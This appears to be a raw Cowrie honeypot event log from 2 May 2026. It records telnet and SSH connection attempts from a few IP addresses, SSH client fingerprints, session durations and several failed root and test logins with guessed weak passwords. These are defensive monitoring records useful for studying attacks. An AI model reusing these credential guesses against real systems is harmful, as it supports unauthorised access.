{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51496,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd258aab0770","protocol":"telnet","message":"New connection: 64.227.101.30:51496 (10.17.0.5:23) [session: fd258aab0770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:34.116026Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56570,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0353aaa86ce","protocol":"telnet","message":"New connection: 64.227.101.30:56570 (10.17.0.5:23) [session: e0353aaa86ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:34.876036Z"}
{"eventid":"cowrie.session.closed","duration":43.12712907791138,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:37.464746Z","src_ip":"64.227.101.30","session":"7a2cd124f51b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53888,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e62be490781","protocol":"telnet","message":"New connection: 68.183.198.12:53888 (159.203.135.109:23) [session: 9e62be490781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:42.017185Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60586,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4cf564a64a","protocol":"telnet","message":"New connection: 64.227.101.30:60586 (10.17.0.5:23) [session: 1d4cf564a64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:45.400433Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33004,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2fc546309c","protocol":"telnet","message":"New connection: 64.227.101.30:33004 (10.17.0.5:23) [session: ab2fc546309c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:48.899357Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59414,"dst_ip":"10.17.0.5","dst_port":23,"session":"80eedf3d5175","protocol":"telnet","message":"New connection: 64.227.101.30:59414 (10.17.0.5:23) [session: 80eedf3d5175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:50.507678Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":55398,"dst_ip":"159.203.135.109","dst_port":23,"session":"110eacf458fe","protocol":"telnet","message":"New connection: 68.183.198.12:55398 (159.203.135.109:23) [session: 110eacf458fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:50.657778Z"}
{"eventid":"cowrie.session.closed","duration":17.274377584457397,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:51.390268Z","src_ip":"64.227.101.30","session":"fd258aab0770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.505815505981445,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:55.799937Z","src_ip":"68.183.198.12","session":"48b41e98dbe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36918,"dst_ip":"10.17.0.5","dst_port":23,"session":"23436b13b7ac","protocol":"telnet","message":"New connection: 64.227.101.30:36918 (10.17.0.5:23) [session: 23436b13b7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:56.158741Z"}
{"eventid":"cowrie.session.closed","duration":38.333499908447266,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:56.887498Z","src_ip":"64.227.101.30","session":"601f8b24fbaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":33126,"dst_ip":"159.203.135.109","dst_port":22,"session":"d09c90e89864","protocol":"ssh","message":"New connection: 200.118.150.20:33126 (159.203.135.109:22) [session: d09c90e89864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:57.561263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:57.566195Z","src_ip":"200.118.150.20","session":"d09c90e89864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:57.652777Z","src_ip":"200.118.150.20","session":"d09c90e89864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste2","password":"teste2","message":"login attempt [teste2/teste2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:58.019103Z","src_ip":"200.118.150.20","session":"d09c90e89864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37794,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b5620c65d0","protocol":"telnet","message":"New connection: 64.227.101.30:37794 (10.17.0.5:23) [session: 23b5620c65d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:58.096025Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:34:59.105522Z","src_ip":"200.118.150.20","session":"d09c90e89864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":56932,"dst_ip":"159.203.135.109","dst_port":23,"session":"239ce6c6ea2c","protocol":"telnet","message":"New connection: 68.183.198.12:56932 (159.203.135.109:23) [session: 239ce6c6ea2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:00.064436Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39956,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b285222aa7c","protocol":"telnet","message":"New connection: 64.227.101.30:39956 (10.17.0.5:23) [session: 7b285222aa7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:02.944566Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":56728,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb8578478e0","protocol":"ssh","message":"New connection: 78.40.217.56:56728 (10.17.0.5:22) [session: abb8578478e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:11.075503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:11.080209Z","src_ip":"78.40.217.56","session":"abb8578478e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:11.233325Z","src_ip":"78.40.217.56","session":"abb8578478e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111Aa","message":"login attempt [root/111111Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:11.878113Z","src_ip":"78.40.217.56","session":"abb8578478e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:13.036059Z","src_ip":"78.40.217.56","session":"abb8578478e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45672,"dst_ip":"10.17.0.5","dst_port":23,"session":"922a2475b57e","protocol":"telnet","message":"New connection: 64.227.101.30:45672 (10.17.0.5:23) [session: 922a2475b57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:15.262882Z"}
{"eventid":"cowrie.session.closed","duration":40.51950979232788,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:15.395387Z","src_ip":"64.227.101.30","session":"e0353aaa86ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"360c2f7b95dd","protocol":"telnet","message":"New connection: 64.227.101.30:47202 (10.17.0.5:23) [session: 360c2f7b95dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:17.837589Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50698,"dst_ip":"10.17.0.5","dst_port":23,"session":"018c98032dee","protocol":"telnet","message":"New connection: 64.227.101.30:50698 (10.17.0.5:23) [session: 018c98032dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:23.341981Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60534,"dst_ip":"159.203.135.109","dst_port":23,"session":"fadc3b52a964","protocol":"telnet","message":"New connection: 68.183.198.12:60534 (159.203.135.109:23) [session: fadc3b52a964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:24.301321Z"}
{"eventid":"cowrie.session.closed","duration":34.594682693481445,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:25.102221Z","src_ip":"64.227.101.30","session":"80eedf3d5175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.693838357925415,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:25.710918Z","src_ip":"68.183.198.12","session":"9e62be490781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.35218048095703,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:26.251426Z","src_ip":"64.227.101.30","session":"ab2fc546309c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02155947685242,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:26.421930Z","src_ip":"64.227.101.30","session":"1d4cf564a64a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":60986,"dst_ip":"159.203.135.109","dst_port":23,"session":"d660c52737ac","protocol":"telnet","message":"New connection: 68.183.198.12:60986 (159.203.135.109:23) [session: d660c52737ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:27.182704Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49078,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e3c32a70f6","protocol":"telnet","message":"New connection: 64.227.101.30:49078 (10.17.0.5:23) [session: 62e3c32a70f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:27.370234Z"}
{"eventid":"cowrie.session.closed","duration":43.54371237754822,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:34.201372Z","src_ip":"68.183.198.12","session":"110eacf458fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eaae7458f8b","protocol":"telnet","message":"New connection: 64.227.101.30:54748 (10.17.0.5:23) [session: 3eaae7458f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:40.363117Z"}
{"eventid":"cowrie.session.closed","duration":0.07940435409545898,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:40.442403Z","src_ip":"64.227.101.30","session":"3eaae7458f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.56087946891785,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:40.656796Z","src_ip":"64.227.101.30","session":"23b5620c65d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.424089431762695,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:41.582745Z","src_ip":"64.227.101.30","session":"23436b13b7ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":35154,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a619d03cdc","protocol":"telnet","message":"New connection: 68.183.198.12:35154 (159.203.135.109:23) [session: f9a619d03cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:42.087209Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":35432,"dst_ip":"159.203.135.109","dst_port":23,"session":"efc44af81d8e","protocol":"telnet","message":"New connection: 68.183.198.12:35432 (159.203.135.109:23) [session: efc44af81d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:43.636826Z"}
{"eventid":"cowrie.session.closed","duration":29.113396406173706,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:44.376133Z","src_ip":"64.227.101.30","session":"922a2475b57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.72643780708313,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:45.670878Z","src_ip":"64.227.101.30","session":"7b285222aa7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60106,"dst_ip":"10.17.0.5","dst_port":23,"session":"13ea426b37af","protocol":"telnet","message":"New connection: 64.227.101.30:60106 (10.17.0.5:23) [session: 13ea426b37af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:47.587667Z"}
{"eventid":"cowrie.session.closed","duration":47.80231738090515,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:47.866609Z","src_ip":"68.183.198.12","session":"239ce6c6ea2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38914,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cd8ee64a2df","protocol":"telnet","message":"New connection: 64.227.101.30:38914 (10.17.0.5:23) [session: 8cd8ee64a2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:52.367059Z"}
{"eventid":"cowrie.session.closed","duration":39.49971580505371,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:35:57.337152Z","src_ip":"64.227.101.30","session":"360c2f7b95dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"90096cd136aa","protocol":"telnet","message":"New connection: 64.227.101.30:39780 (10.17.0.5:23) [session: 90096cd136aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:02.180505Z"}
{"eventid":"cowrie.session.closed","duration":35.84375786781311,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:03.213885Z","src_ip":"64.227.101.30","session":"62e3c32a70f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":38744,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a20396253d","protocol":"ssh","message":"New connection: 78.40.217.56:38744 (10.17.0.5:22) [session: 28a20396253d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:06.477045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:06.481666Z","src_ip":"78.40.217.56","session":"28a20396253d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:06.634080Z","src_ip":"78.40.217.56","session":"28a20396253d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Q!","message":"login attempt [root/123456Q!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:07.264394Z","src_ip":"78.40.217.56","session":"28a20396253d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:08.416431Z","src_ip":"78.40.217.56","session":"28a20396253d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.49219608306885,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:08.834043Z","src_ip":"64.227.101.30","session":"018c98032dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45682,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbedd5d3bcc","protocol":"telnet","message":"New connection: 64.227.101.30:45682 (10.17.0.5:23) [session: 3bbedd5d3bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:09.475369Z"}
{"eventid":"cowrie.session.closed","duration":49.85314989089966,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:14.154361Z","src_ip":"68.183.198.12","session":"fadc3b52a964","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.316991090774536,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:16.499597Z","src_ip":"68.183.198.12","session":"d660c52737ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"a53df96b61d0","protocol":"telnet","message":"New connection: 64.227.101.30:47508 (10.17.0.5:23) [session: a53df96b61d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:16.875055Z"}
{"eventid":"cowrie.session.closed","duration":39.80753827095032,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:21.894568Z","src_ip":"68.183.198.12","session":"f9a619d03cdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.284286737442017,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:28.464677Z","src_ip":"64.227.101.30","session":"90096cd136aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.832523822784424,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:28.469242Z","src_ip":"68.183.198.12","session":"efc44af81d8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49276,"dst_ip":"10.17.0.5","dst_port":23,"session":"0418042fdaee","protocol":"telnet","message":"New connection: 64.227.101.30:49276 (10.17.0.5:23) [session: 0418042fdaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:29.061050Z"}
{"eventid":"cowrie.session.closed","duration":0.005001544952392578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:29.065924Z","src_ip":"64.227.101.30","session":"0418042fdaee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00134015083313,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:29.151562Z","src_ip":"68.183.198.12","session":"c8a47286b614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.97315430641174,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:36:32.560717Z","src_ip":"64.227.101.30","session":"13ea426b37af","protocol":"telnet"}
